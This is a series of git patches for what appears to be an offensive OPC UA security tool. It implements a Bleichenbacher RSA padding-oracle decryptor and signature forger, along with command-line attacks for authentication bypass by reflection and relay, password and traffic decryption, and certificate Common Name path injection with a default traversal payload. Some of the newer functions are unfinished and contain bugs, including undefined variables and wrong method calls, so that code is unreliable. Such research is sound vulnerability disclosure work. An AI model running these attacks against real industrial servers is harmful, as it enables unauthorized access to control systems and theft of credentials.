cand_bytes[ix] = j % 256 - j /= 256 + j //= 256 assert j == 0 - return oracle.query(cand_bytes) + return oracle.query(bytes(cand_bytes)) # Division helper. ceildiv = lambda a,b: a // b + (a % b and 1) # Step 1: blinding. Find a random blind that makes the padding valid. Searching can be skipped if the ciphertext # already has valid padding. + print('step 1') if query(c): s0 = 1 c0 = c @@ -661,11 +667,20 @@ def query(candidate): M_i = {(2 * B, 3 * B - 1)} + i = 1 + s_i = ceildiv(n, 3*B) + + + # # RESUME HACK + # i=7 + # s_i=385380735 + # M_i={(1442187950741538468972209103821686590384443288599758872400549540937224521323030706356409926957536588941627662111670836495572200202697226377071699153474335084656071470691825893748080020275952060457714848718246931780763496883018244121059381334746311801600355550369869387516075027303739961781275531951196608187872053559173100928455609009687117157691936149067079548163712853367019544409386115190144985905799246962521519108327248558644300675710110341781545637155074555286187484287580622714104561381064257941675704426959989988666134704422140673509929631477131494962685910806444383104793557391201117968857660665400734686, 1442187952021100040138101693745793224433271081318626634327677729470997267861230376046805302309033628755398823837924227254096649839748448753905955433335552387351989406763502646536335599035365563355979155262682180238874383990758305591462448918466271476771412979832182016455090530352501691998499548688757812181755825534991235128620673965077927409354670989608946719854098198234219797085744894609154790567600205431144882797642476187786427145450630380570652794332672085493195466834423224618370188181423604692428825338018972986144368655371054086508505216761332195671289414380959748425273854857064804157443045187000417638)} + while True: # Step 2: searching for PKCS#1 conforming messages. + print(f'step 2; i={i}; s_i={s_i}; M_i={M_i}', flush=True) if i == 1: # 2a: starting the search. - s_i = n // (3*B) + (1 if n % (3*B) else 0) while not test_factor(s_i): s_i += 1 elif len(M_i) > 1: @@ -676,9 +691,10 @@ def query(candidate): else: # 2c: searching with one interval left (a, b) = next(iter(M_i)) - r_i = ceildiv(2 * b * s_i - 2 * B, n) + r_i = 2 * ceildiv(b * s_i - 2 * B, n) done = False while not done: + print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {(3 * B + r_i * n) // a}', flush=True) for new_s in range(ceildiv(2 * B + r_i * n, b), (3 * B + r_i * n) // a): if test_factor(new_s): s_i = new_s @@ -687,6 +703,7 @@ def query(candidate): r_i += 1 # Step 3: Narrowing the set of solutions. + print(f'step 3; s_i={s_i}',flush=True) M_i = { (max(a, ceildiv(2*B+r*n, s_i)), min(b, (3*B-1+r*n) // s_i)) for a, b in M_i @@ -694,6 +711,7 @@ def query(candidate): } # Step 4: Computing the solution. + print(f'step 4',flush=True) if len(M_i) == 1: a, b = next(iter(M_i)) if a == b: @@ -701,3 +719,7 @@ def query(candidate): return [(m >> bits) & 0xff for bits in reversed(range(0, k, 8))] i += 1 + + +if __name__ == '__main__': + oracletest() \ No newline at end of file diff --git a/crypto.py b/crypto.py index 502d48c..cd69ae7 100644 --- a/crypto.py +++ b/crypto.py @@ -157,6 +157,6 @@ def certificate_thumbprint(cert : bytes) -> bytes: def certificate_rsakey(cert : bytes) -> tuple[int, int]: # Extracts and parses an RSA public key from a certificate, as (m, e) integers. - numbers = crypto.load_certificate(crypto.FILETYPE_ASN1, cert).PKey().to_cryptography_key().public_numbers() + numbers = crypto.load_certificate(crypto.FILETYPE_ASN1, cert).get_pubkey().to_cryptography_key().public_numbers() return numbers.n, numbers.e From 15e756fa81e4e5d670e45d73e3501d0fc5403259 Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Wed, 13 Mar 2024 14:35:30 +0100 Subject: [PATCH 11/70] Added usage instructions for more (not yet implemented) attacks. --- attacks.py | 1 + opcattack.py | 201 +++++++++++++++++++++++++++++++++++++-------------- 2 files changed, 146 insertions(+), 56 deletions(-) diff --git a/attacks.py b/attacks.py index d970ff7..a892b3d 100644 --- a/attacks.py +++ b/attacks.py @@ -661,6 +661,7 @@ def query(candidate): s0 = randint(1, n) c0 = c * pow(s0, e, n) % n if query(c0): + print(f'c0={c0}', flush=True) break test_factor = lambda sval: query(c0 * pow(sval, e, n) % n) diff --git a/opcattack.py b/opcattack.py index b5a6995..6e4e409 100755 --- a/opcattack.py +++ b/opcattack.py @@ -4,6 +4,7 @@ from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter, Namespace from abc import ABC +from pathlib import Path HELP_TEXT = """ @@ -41,6 +42,30 @@ def execute(self, args : Namespace): """Executes the attack, given specified options.""" ... +class CheckAttack(Attack): + subcommand = 'check' + short_help = 'evaluate whether attacks apply to server' + long_help = """ +Simply requests a list of endpoints from the server, and report which attacks may be applicable based on their +configuration. This does not prove the endpoints are vulnerable, but helps testing a connection and determining which +attacks are worth trying. + + +By default, this will be non-intrusive and only request and endpoint list. When you use --probe-password you can test +for an additional padding oracle attack method (that may work even if the server had disabled the Basic128Rsa15 +security policy) by executing one login attempt with incorrect credentials. +""" + + def add_arguments(self, aparser): + aparser.add_argument('-p', '--probe-password', type=FileType('r'), + help='does a failed login attempt with a PKCS#1 encrypted password') + + aparser.add_argument('url', + help='Target or discovery server OPC URL (either opc.tcp:// or https:// protocol)', + type=str) + + def execute(self, args): + raise Exception('TODO: implement') class ReflectAttack(Attack): subcommand = 'reflect' @@ -59,40 +84,37 @@ class ReflectAttack(Attack): then copied to the ActivateSessionRequest back on the main session, taking advantage of the lack of domain separation between client and server signatures. +If the server requires user authentication on top of client instance +authentication, the same technique is attempted to spoof a user certificate. +The attack won't work if password-based authentication is required. + The default form of the attack only works against servers that support an HTTPS -endpoint. If that is not the case, you'll need to carry out an OPN forging -attack against the server first and supply its result with the --forged-opn -flag. - -If the server requires user authentication on top of client authentication, the -same technique is attempted to spoof a user certificate. The attack won't work -if password-based authentication is required. - -By default the tool will attempt to negotiate the "None" security policy. If -the server does not accept this the tool will instead try to perform the -OpenSecureChannel handshake with an arbitrary self-signed certificate. If that -doesn't work either, you can try bypass the handshake by supplying the -result of a "opnforge" attack via the --forged-opn option. Alternatively, -you can supply your own certificate and private key (e.g. signed via the -WebPKI or taken from a compromised system) via --opn-cert and --opn-key. +endpoint. If that is not the case, you can use the --bypass-opn flag to try and +use the RSA PKCS#1 padding oracle (used by 'decrypt' and 'sigforge' +attacks) to get through the initial OpenSecureChannel handshake. This attack +will need to perform two full padding oracle decryptions: one for forging a +signature on a OPN request, and the other to decrypt the response. The result +of the signature forgery is reusable, while the second needs to take place +during the lifetime of an authentication token (the duration of which the tool +will try to maximize). """.strip() def add_arguments(self, aparser): - aparser.add_argument('-o', '--forged-opn', type=FileType('r'), - help='result of a prior opnforge attack against the server') - # aparser.add_argument('-c', '--opn-cert', type=FileType('r'), - # help='alternative certificate (PEM encoded) to use for the OPN handshake') - # aparser.add_argument('-k', '--opn-key', type=FileType('r'), - # help='private key (PEM encoded) associated with --opn-cert certificate') aparser.add_argument('-n', '--no-demo', action='store_true', help='don\'t dump server contents on success; just tell if attack worked') + aparser.add_argument('-b', '--bypass-opn', action='store_true', + help='when no HTTPS is available, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') + aparser.add_argument('-r', '--reusable-opn-file', type=Path, default='.spoofed-opnreqs.json', + help='file in which to cache OPN requests with spoofed signatures; default: .spoofed-opnreqs.json') + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') aparser.add_argument('url', - help='Target server OPC URL (either opc.tcp or https protocol)', + help='Target server OPC URL (either opc.tcp:// or https:// protocol)', type=str) def execute(self, args): - # TODO: OPN/cert options + # TODO: padding oracle options reflect_attack(args.url, not args.no_demo) class RelayAttack(Attack): @@ -102,14 +124,8 @@ class RelayAttack(Attack): Tricks one server A to log you in to server B with A's identity. This uses the same technique as the reflection attack, except that the two -sessions are set up against different servers. - -For the attack to work, an OpenSecureChannel handshake needs to be done with -both servers. By default, the tool will try either negotiating an unencrypted -session or using a self-signed certificate for this step. If neither works, -you can use the "opnforge" attack against either or both servers. -Just like with the reflection attack. It is also possible to supply an -alternative certificate for OPN. +sessions are set up against different servers. See reflect --help for more +information. """.strip() def add_arguments(self, aparser): @@ -117,59 +133,116 @@ def add_arguments(self, aparser): help='result of a prior opnforge attack against either server') aparser.add_argument('-b', '--forged-opn-b', type=FileType('r'), help='in case separate forged OPN\'s need to be used for both servers, this one is used for server-b and the -o file is used for server-a') - # aparser.add_argument('-c', '--opn-cert', type=FileType('r'), - # help='alternative certificate (PEM encoded) to use for the OPN handshake') - # aparser.add_argument('-k', '--opn-key', type=FileType('r'), - # help='private key (PEM encoded) associated with --opn-cert certificate') aparser.add_argument('-n', '--no-demo', action='store_true', help='don\'t dump server contents on success; just tell if attack worked') + aparser.add_argument('-b', '--bypass-opn', action='store_true', + help='when no HTTPS is available on either or both servers, attempt to use sigforge and decrypt attacks to bypass the opc.tcp secure channel handshake') + aparser.add_argument('-r', '--reusable-opn-file', type=Path, default='.spoofed-opnreqs.json', + help='file in which to cache OPN requests with spoofed signatures; default: .spoofed-opnreqs.json') + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + help='which PKCS#1 padding oracle to use with --bypass-opn; default: try-both') + aparser.add_argument('server-a', help='OPC URL of the server of which to spoof the identity', type=str) aparser.add_argument('server-b', - help='OPC URL of the server on which to log in asserver-a', + help='OPC URL of the server on which to log in as server-a', type=str) def execute(self, args): - # TODO: OPN/cert options + # TODO: padding oracle options relay_attack(getattr(args, 'server-a'), getattr(args, 'server-b'), not args.no_demo) - -class SigForgeAttack(Attack): - subcommand = 'sigforge' - short_help = 'TODO: authentication bypass by signature forgery via a PKCS#1 padding oracle' + +class PathInjectAttack(Attack): + subcommand = 'cn-inject' + short_help = 'path injection via an (untrusted) certificate CN' long_help = """ -TODO -""".strip() - +Tries to connect with a self-signed client instance certificate that has a path +injection (or other) payload in the Common Name (CN) field. Takes advantage of +implementations that follow the recommended certificate store directory layout +(https://reference.opcfoundation.org/GDS/v105/docs/F.1) but don't do additional +input validation. + +You can supply any CN with the --cn flag. By default the payload +'../../trusted/certs/TestCert' is used, which attempts an authentication bypass +by getting the rejected cert placed in the trusted store instead. If this +works, then clearly the server is vulnerable, and you may be able to achieve +arbitrary file writes and RCE with other payloads. + +Supply --second-login to make the tool try a second loginattempt with the same +certificate, to check whether an authentication bypass payload has worked. +""" + def add_arguments(self, aparser): - pass + aparser.add_argument('-c', '--cn', type=str, default='../../trusted/certs/TestCert', + help='payload to put in CN; default: ../../trusted/certs/TestCert') + aparser.add_argument('-s', '--second-login', action='store_true', + help='log in a second time with the same certificate; useful for testing the default payload auth bypass') + aparser.add_argument('-n', '--no-demo', action='store_true', + help='don\'t dump server contents when an authentication bypass worked') + def execute(self, args): raise Exception('TODO: implement') - -class OPNForgeAttack(Attack): - subcommand = 'opnforge' - short_help = 'TODO: signature forgery on an OpenSecureChannel message; enabling reflect/relay/sigforge/mitm against a server that enforces signing or encryption' + +class DecryptAttack(Attack): + subcommand = 'decrypt' + short_help = 'sniffed password and/or traffic decryption via an padding oracle' long_help = """ -TODO +If an OPC UA server supports the Basic128Rsa15 policy, or accepts passwords +encrypted with the "rsa-1_5" algorithm, it is quite likely vulnerable for a +PKCS#1 padding oracle attack. This allows you to decrypt any RSA ciphertext +that was encrypted with that server's public key, even when that ciphertext was +using the otherwise secure OAEP padding scheme. To carry out this attack +you do however need to still be able to connect to this server, and it should +still be using the same public key. + +One use for this is to decrypt passwords that were transmitted over channel +using 'Sign' or 'None' message security. Another use is to extract channel +encryption session keys by decrypting nonces from the OPN handshake. However, +the latter is only possible if the client-side of the connection is also +operating as a server, and using the same public key for that purpose. + +Currently, the tool only supports decrypting hex-encoded raw payloads (although +it will attempt to parse a password token if the plaintext looks like one). You +can use Wireshark's "Copy as Hex stream" on +ActivateSessionRequest -> UserIdentityToken -> UserNameIdentityToken -> Password +to grab a password payload. """.strip() def add_arguments(self, aparser): - pass + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + help='which PKCS#1 padding oracle to use; default: try-both') + aparser.add_argument('ciphertext', type=str, required=True, + help='hex-encoded RSA-encrypted ciphertext; either OAEP or PKCS#1') + aparser.add_argument('server-url', type=str, required=True, + help='endpoint URL of the OPC UA server owning the RSA key pair the ciphertext was produced for') def execute(self, args): raise Exception('TODO: implement') + -class DecryptAttack(Attack): - subcommand = 'decrypt' - short_help = 'TODO: sniffed password and/or traffic decryption via a PKCS#1 padding oracle' +class SigForgeAttack(Attack): + subcommand = 'sigforge' + short_help = 'signature forgery via padding oracle' long_help = """ -TODO +Uses the same padding oracle attack as 'decrypt', but instead of decrypting a +ciphertext an RSA signature is forged with the private key that a server is +using. + +Is used automatically as part of reflect/relay attacks (with --bypass-opn). +This command can be used to sign any other arbitrary payload. Can be used +to show the concept in isolation or perform some follow-up attack. """.strip() def add_arguments(self, aparser): - pass + aparser.add_argument('-t', '--padding-oracle-type', choices=('opn', 'password', 'try-both'), + help='which PKCS#1 padding oracle to use; default: try-both') + aparser.add_argument('payload', type=str, required=True, + help='hex-encoded payload to spoof a signature on') + aparser.add_argument('server-url', type=str, required=True, + help='endpoint URL of the OPC UA server whose private key to spoof a signature with') def execute(self, args): raise Exception('TODO: implement') @@ -187,6 +260,22 @@ def add_arguments(self, aparser): def execute(self, args): raise Exception('TODO: implement') +class NoAuthAttack(Attack): + subcommand = 'auth-check' + short_help = 'tests if server allows unauthenticated access' + long_help = """ +This is not a new attack. Just a simple check to see whether a server allows anonymous access without authentication; +eiter via the None policy or by automatically accepting untrusted certificates. + +This is an easy misconfiguration to make (or insecure default to forget about), so it's good to check for this. Also, +there's not much use for an authentication bypass if no authentication is enforced at all. +""" + + def add_arguments(self, aparser): + pass + + def execute(self, args): + raise Exception('TODO: implement') ENABLED_ATTACKS = [ReflectAttack(), RelayAttack()] From 0bdc2bc6a73056d243979dc5b9790bc2d50bd24b Mon Sep 17 00:00:00 2001 From: Tom Tervoort Date: Fri, 15 Mar 2024 16:29:32 +0100 Subject: [PATCH 12/70] Added padding oracle tester. --- attacks.py | 173 +++++++++++++++++++++++++++++++++++++++++++++------ crypto.py | 34 +++++++++- opcattack.py | 60 +++++++++++------- 3 files changed, 223 insertions(+), 44 deletions(-) diff --git a/attacks.py b/attacks.py index a892b3d..f27dc9e 100644 --- a/attacks.py +++ b/attacks.py @@ -7,11 +7,11 @@ from crypto import * from datetime import datetime from socket import socket, create_connection, SHUT_RDWR -from random import randint +from random import Random, randint from enum import Enum, auto from binascii import hexlify, unhexlify -import sys, os, itertools, re, math +import sys, os, itertools, re, math, hashlib # Logging and errors. def log(msg : str): @@ -495,7 +495,6 @@ def _attempt_query(self, ciphertext): def pick_endpoint(clazz, endpoints): for endpoint in endpoints: if endpoint.securityPolicyUri == SecurityPolicy.BASIC128RSA15 and endpoint.transportProfileUri.endswith('uatcp-uasc-uabinary'): - #TODO: padding oracle over HTTPS return endpoint return None @@ -597,9 +596,7 @@ def pick_endpoint(clazz, endpoints): ep.transportProfileUri.endswith('uatcp-uasc-uabinary') ) ) - -#step 2; i=3; s_i=410837; M_i={(1153751527992975464237774060619969949912458190650909851483381942369834145900432967780253361738716396891256027627993321927649573343620075903924187294302056663120792892598158194754406693968861688508447570803862508562104063187266647074469490917302473904520599258701264093712296083790175384802988106233950247605853944047369442356488167309377731357777104738935539724738155113544501330219189321279575030321708982688092274434968662691635063675118845569101908319325125976512011482484437045483552156154269468675589802561323784232303710574612017266267635692639890890839874253240244894189146156097931822340104542956443340894, 1153751550936217098416146654328715567071782234980477874221865320445405290860058627120473414544080421702645164186480499673194319234902616742259350859391199443536479506700783057695047610312653741271379738121676962291424914843680292720155497113842939814207831197452900196818462148683299308956961091015862254839131319915338129185031099532457100825366437307292904124088500256300789720256955890896876756617374603674331846217755539307634222232631733992282692225554423478557494928836227402883514208620783580921344797936482819389064351122100033113926214967982492539416315279169624255671265426139760434735722123582493392098), (1442187338184767745264252953775810510222049417037065628878787851831596947441874488336569202706635456864580211569674687214553007930496307624964046851991882592870550385293650731137081862343186722781448862222191231512666819881085353338153634019145550916643932675588442380251218536552968801538838096941698707408093800039873090898704432885981374875995394957826030742884318739511328307394410790250087218831983890113921705079217347533785769171253146427606835887048319233522393593448149040461462449662762309443414226332274411081566733570264890122410609819004840697712493266117732403382987192306565764806304367723294058353, 1442188538462198389696213161853001338003579918001940893963670022531688185232273800087439240120044068443852350805918080001375802852286000940884127836133092142327721241340695354555211948370404124957320753896422643713589290551665360516462626803807335974424422002004261160692280907582200421343045677986343913774276857099472845517324113760032804107831195915706087549870779642862561931924001689319235062797546384101917763760918534162789774096702587034890566969845296441907807917789369162257422627441743547562423809811319618598574565188756405133837557756703854970031293742028759784072184101088357066871074817297478447935)} - + def oracletest(): # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248ceeb5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') # ctext1 = unhexlify('b78d809acebc0bd35dd12f06cc1e28638e1d0c1d06d51130cf2cf4f936c1431380496a79c8376eab9cf689469fd3caeb6c3c8da52881b60875294192de33ffb38270d1ba2ea55a8f160e05c723b6869c423c287a0776192aa88ef7a3344124072e6fba777803defd8b37cca3724d31a1c116b9c94e2f13a0565fa37a49096ecbc1f1418e4158ef359e23e77d7278b2ef6b770d6ce39cec7616564cdd065f14bd9542155a6e8fa8ba0b7353502cb5e5f081dce29adfb86763d32b567b28fbbc5e8026e85f0f5e89ac098fd25fa15f1e2d772e6b7fdbc5238a864fc230a3e8c2626f9cc5df42aeaa1237b5aa2cae9aa52ffa97e864eca72fe9803e4c4f68248cee') @@ -607,13 +604,29 @@ def oracletest(): # ctext1 = unhexlify('b5e72f0a9bd5c81dfea9933413c3ea89770a41c4e5c0f31649463ec0a1bdd177efa66845f14eba6733f149856079d9026f51719f94db72af5c597e27a7f3d8456a135085904ca25eeb258086667c7996ded096f4294e828958355e5d2b01e9991314e6cd3e0e15f10bc442109205db24d491d495600f79f2d4ac1c2dccda9eab5ecdf01337c8734ddb7cccceec4fb174243e1c9b17372807960170bd489c781d3e1878cd8e5fe2d8f3770e1acc24fc980188a07c8f3f1fd3c94ec431d9e1dfcbccc2c0e5ac74838b3d13ae1a0c55a19cc202c15500e15c0fbcb204e7c425bef947f1a184536909bab45bc0e02e5d6657bda740f99f9ceac20ea2ac4c7af7c6ab') # ctext2 = os.urandom(len(ctext1)) + # Password token: todecrypt = unhexlify('9e82001c5a9b0d4ec8ed921af69659d8a3c8909bdb3be7bbf2f09a2321256deda98779fe8c182f476b06cf9592f2974b93a04fdbce82db34c2985c59ab71cce0f0987a35f2a4e0958411d40de4073ba00d223e5332ecaab0d5a850a1c97610cb2e42c7675d6a8eb3319ba95aabbed51014687bdf0edd417b47df2b4f348b6539ed1aa7bae5a4bd76ffe475a6d0ea54e51399996485c582615f55296411417f7c6db5aa8796653c47e503a00ce72a7e96e7c69ac52f5f200153cb585c6dc4119962ac004433da24f2347e75ee5fda60b507fde6c9197ad7f0aca65f3b6f91b51c8b0b501549aa10368ae7c4a2e2aeee1bb81bff8e3e6a9be7aa09b999ac641bc7') + # First half of OPN request: + # todecrypt = unhexlify('160dcd84074bc3ff604b383295132b658f9e8491c1dec934bc8e8bd5d8d3997a6ff1b1bdea125920c9e992d33c00a844dc4c6953d291468d1e306881ed37338e0990cef579f6673f1863232bb7e8c29717950d2424487d92dc7f95c8a89f91fa4b82d6bfbce8ecc3389697580db1e539f883f02cdddfc59382381cfe13e717d2571422558b2bf8d10337260cfa0b3ab42eb2bb6459dafcc47ebefa6a7e7236023a8f8ce2fb5b3553fedc2e7e5974a3e951e4afb5974e9ef44b094ebe9d7f52173bc5f0f10b6d93943a2f699349520b5ccde725650671ab4c54f8be66700d172f73513ddcd52e48f39111c884366d4a4aacdb213a6d6552c139d775a909b1e873') ep = PasswordPaddingOracle.pick_endpoint(get_endpoints('opc.tcp://opc-testserver:62541/Quickstarts/ReferenceServer')) assert ep oracle = PasswordPaddingOracle(ep) # print(repr(oracle.query(todecrypt))) + # print(padding_oracle_quality(ep.serverCertificate, oracle)) print(hexlify(rsa_decryptor(oracle, ep.serverCertificate, todecrypt))) +def int2bytes(value : int, outlen : int) -> bytes: + # Coverts a nonnegative integer to a fixed-size big-endian binary representation. + result = [0] * outlen + j = value + for ix in reversed(range(0, outlen)): + result[ix] = j % 256 + j //= 256 + + if j != 0: + raise ValueError(f'{value} does not fit in {outlen} bytes.') + return bytes(result) + # Carry out a padding oracle attack against a Basic128Rsa15 endpoint. # Result is ciphertext**d mod n (encoded big endian; any padding not removed). # Can also be used for signature forging. @@ -631,7 +644,7 @@ def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : byte c += by # Extract public key from the endpoint certificate. - n, e = certificate_rsakey(certificate) + n, e = certificate_publickey_numbers(certificate) # B encodes as 00 01 00 00 00 .. 00 00 B = 2**(k-16) @@ -639,13 +652,7 @@ def rsa_decryptor(oracle : PaddingOracle, certificate : bytes, ciphertext : byte # Oracle function. def query(candidate): # Encode int as bigendian binary to submit it to the oracle. - cand_bytes = [0] * clen - j = candidate - for ix in reversed(range(0, clen)): - cand_bytes[ix] = j % 256 - j //= 256 - assert j == 0 - return oracle.query(bytes(cand_bytes)) + return oracle.query(int2bytes(candidate, clen)) # Division helper. ceildiv = lambda a,b: a // b + (a % b and 1) @@ -672,11 +679,12 @@ def query(candidate): s_i = ceildiv(n, 3*B) - # # RESUME HACK - # i=7 - # s_i=385380735 - # M_i={(1442187950741538468972209103821686590384443288599758872400549540937224521323030706356409926957536588941627662111670836495572200202697226377071699153474335084656071470691825893748080020275952060457714848718246931780763496883018244121059381334746311801600355550369869387516075027303739961781275531951196608187872053559173100928455609009687117157691936149067079548163712853367019544409386115190144985905799246962521519108327248558644300675710110341781545637155074555286187484287580622714104561381064257941675704426959989988666134704422140673509929631477131494962685910806444383104793557391201117968857660665400734686, 1442187952021100040138101693745793224433271081318626634327677729470997267861230376046805302309033628755398823837924227254096649839748448753905955433335552387351989406763502646536335599035365563355979155262682180238874383990758305591462448918466271476771412979832182016455090530352501691998499548688757812181755825534991235128620673965077927409354670989608946719854098198234219797085744894609154790567600205431144882797642476187786427145450630380570652794332672085493195466834423224618370188181423604692428825338018972986144368655371054086508505216761332195671289414380959748425273854857064804157443045187000417638)} - + # RESUME HACK + i=5 + s_i=10188737 + M_i={(1442187950294427360552239522644390257790796338700903207741025109708355436659589056631457108816185462712575330480300534305338116012222011796256576892011557132283377870311064829108823429585109041005837627259672339140274327169866035191498952338390529965554588543860476478651241178020573557285056019076658637471561695299531779164480600328883326366695718020245430875778810317910178071399706834470366542548337500749168322690594977588324772533567614714495014500564158838389193044477833064672095962723010823314057508079434126660565075169145349628417580299080325519208852922467759422401892910048476794655722601165242511595, 1442187998692808707883757966589484615228158854430272457264462385237590648429221964227540135943179962006785538072016811481043006284419960593328545509052277891654272977622775757750050925216134153918039471350825757929510950421883343952056314027937732311417806221713648637310362984906602358596298151440428445510366068070484134141181819904111607068348898876531403209583470958198577974999226925743786544730284075515260168692765224048813459048054824643534759684571073701866524775071072820608311304384905061522885505136162600064154248834011387347592156403054787704914170375565416055996440260756732861444607631487618012313)} + # r_i hack + while True: # Step 2: searching for PKCS#1 conforming messages. print(f'step 2; i={i}; s_i={s_i}; M_i={M_i}', flush=True) @@ -693,9 +701,10 @@ def query(candidate): # 2c: searching with one interval left (a, b) = next(iter(M_i)) r_i = 2 * ceildiv(b * s_i - 2 * B, n) + r_i = 103556 # HACK done = False while not done: - print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {(3 * B + r_i * n) // a}', flush=True) + print(f'r_i={r_i}; {ceildiv(2 * B + r_i * n, b)} <= new_s < {(3 * B + r_i * n) // a}', file=sys.stderr, flush=True) for new_s in range(ceildiv(2 * B + r_i * n, b), (3 * B + r_i * n) // a): if test_factor(new_s): s_i = new_s @@ -720,7 +729,131 @@ def query(candidate): return [(m >> bits) & 0xff for bits in reversed(range(0, k, 8))] i += 1 + + +def padding_oracle_quality(certificate : bytes, oracle : PaddingOracle) -> int: + # Gives a score between 0 and 100 on how "strong" the padding oracle is. + # This is determined by encrypting testing 100 plaintexts with correct padding and 100 with incorrect padding. + # The score is based on the number of correct padding correctly reported as such is returned. + # If any incorrectly padded plaintext is reported as valid, 0 is returned. + # Will not catch PaddingOracle exceptions. + + # Extract public key from certificate as Python ints. + keylen = certificate_publickey(certificate).size_in_bytes() + n, e = certificate_publickey_numbers(certificate) + + # Generate test cases deterministically for consistent scoring. + TESTCOUNT = 100 + TESTSEED = 0x424242 + rng = Random(TESTSEED) + + # For 'correct' test cases. First pick random padding size and then randomize both padding and data. + datasizes = [rng.randint(0, keylen - 11) for _ in range(0, TESTCOUNT)] + padvals = [sum(rng.randint(1,255) << (i * 8) for i in range(0, keylen - ds - 3)) for ds in datasizes] + correctpadding = [ + (2 << 8 * (keylen - 2)) + \ + (padval << 8 * (ds + 1)) + \ + rng.getrandbits(8 * ds) + for padval, ds in zip(padvals, datasizes) + ] + + # As incorrect padding, just pick uniform random numbers modulo n not starting with 0x0002. + wrongpadding = [rng.randint(1, n) for _ in range(0, TESTCOUNT)] + for i in range(0, TESTCOUNT): + while wrongpadding[i] >> (8 * (keylen - 2)) == 2: + wrongpadding[i] = rng.randint(1, n) + + # Mix order of correct and incorrect padding. + testcases = [(True, p) for p in correctpadding] + [(False, p) for p in wrongpadding] + rng.shuffle(testcases) + + # Perform the test. + score = 0 + for padding_right, plaintext in testcases: + if oracle.query(int2bytes(pow(plaintext, e, n), keylen)): + if padding_right: + # Correctly identified valid padding. + score += 1 + else: + # Our Bleichenbacher attack can't deal with false negatives. + return 0 + elif padding_right: + print(f'Missed {hexlify(int2bytes(plaintext, keylen))}') + + return score +def find_padding_oracle(url : str, try_opn : bool, try_password : bool) -> tuple[PaddingOracle, endpointDescription.Type]: + # Try finding a working padding oracle against an endpoint. + assert try_opn or try_password + endpoints = get_endpoints(url) + + log(f'Checking {len(endpoints)} endpoints of {url} for RSA padding oracle.') + + possible_oracles = [] + if try_opn: + possible_oracles.add(('OPN', OPNPaddingOracle)) + if try_password: + possible_oracles.add(('Password', PasswordPaddingOracle)) + + bestname, bestep, bestoracle, bestscore = None, None, None, 0 + for oname, oclass in possible_oracles: + endpoint = oclass.pick_endpoint(endpoints) + if endpoint: + log(f'Endpoint "{endpoint.endpointUrl}" qualifies for {oname} oracle.') + log(f'Trying a bunch of known plaintexts to assess its quality and reliability...') + oracle = oclass(opn_endpoint) + try: + quality = padding_oracle_quality(opn_endpoint.serverCertificate, opn_oracle) + log(f'{oname} padding oracle score: {quality}/100') + if quality == 100: + log(f'Great! Let\'s use it.') + return oracle + elif quality > bestscore: + bestname, bestep, bestoracle, bestscore = oname, endpoint, oracle, quality + + except ServerError as err: + log(f'Got server error {hex(err.errorcode)}. Don\'t know how to interpret it. Skipping {oname} oracle.') + except Exception as ex: + log(f'Exception {ex} raised. Skipping {oname} oracle.') + else: + log(f'None of the endpoints qualify for {oname} oracle.') + + if bestscore > 0: + log(f'Continuing with {bestname} padding oracle for endpoint {bestep.endpointUrl}.') + return bestoracle, bestep + else: + raise AttackNotPossible(f'Can\'t find exploitable padding oracle.') + +def pkcs1v15_signature_encode(hasher, msg, outlen): + # RFC 3447 signature encoding. + PKCS_HASH_IDS = { + 'sha256': b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20', + 'sha384': b'\x30\x41\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x02\x05\x00\x04\x30', + 'sha512': b'\x30\x51\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x03\x05\x00\x04\x40', + } + + mhash = hashlib.new(hasher, msg).digest() + suffix = PKCS_HASH_IDS[hasher] + mhash + padding = b'\xff' * (outlen - len(suffix) - 3) + return int2bytes(b'\x00\x01' + padding + b'\x00' + suffix, outlen) + +def forge_signature_attack(url : str, payload : bytes, try_opn : bool, try_password : bool) -> bytes: + # Use padding oracle to forge an RSA PKCS#1 signature on some arbitrary payload. + # Logs and returns signature. + + oracle, endpoint = find_padding_oracle(url, try_opn, try_password) + + # Compute padded hash to be used as 'ciphertext'. + sizsize = certificate_publickey(endpoint.serverCertificate).size_in_bytes() + padhash = pkcs1v15_signature_encode('sha256', payload, sigsize) + log(f'Padded hash of payload: {hexlify(padhash)}') + log(f'Starting padding oracle attack...') + sig = rsa_decryptor(oracle, endpoint.serverCertificate, padhash) + log_success(f'Succes! Forged signature:') + log_success(hexlify(sig)) + return sig 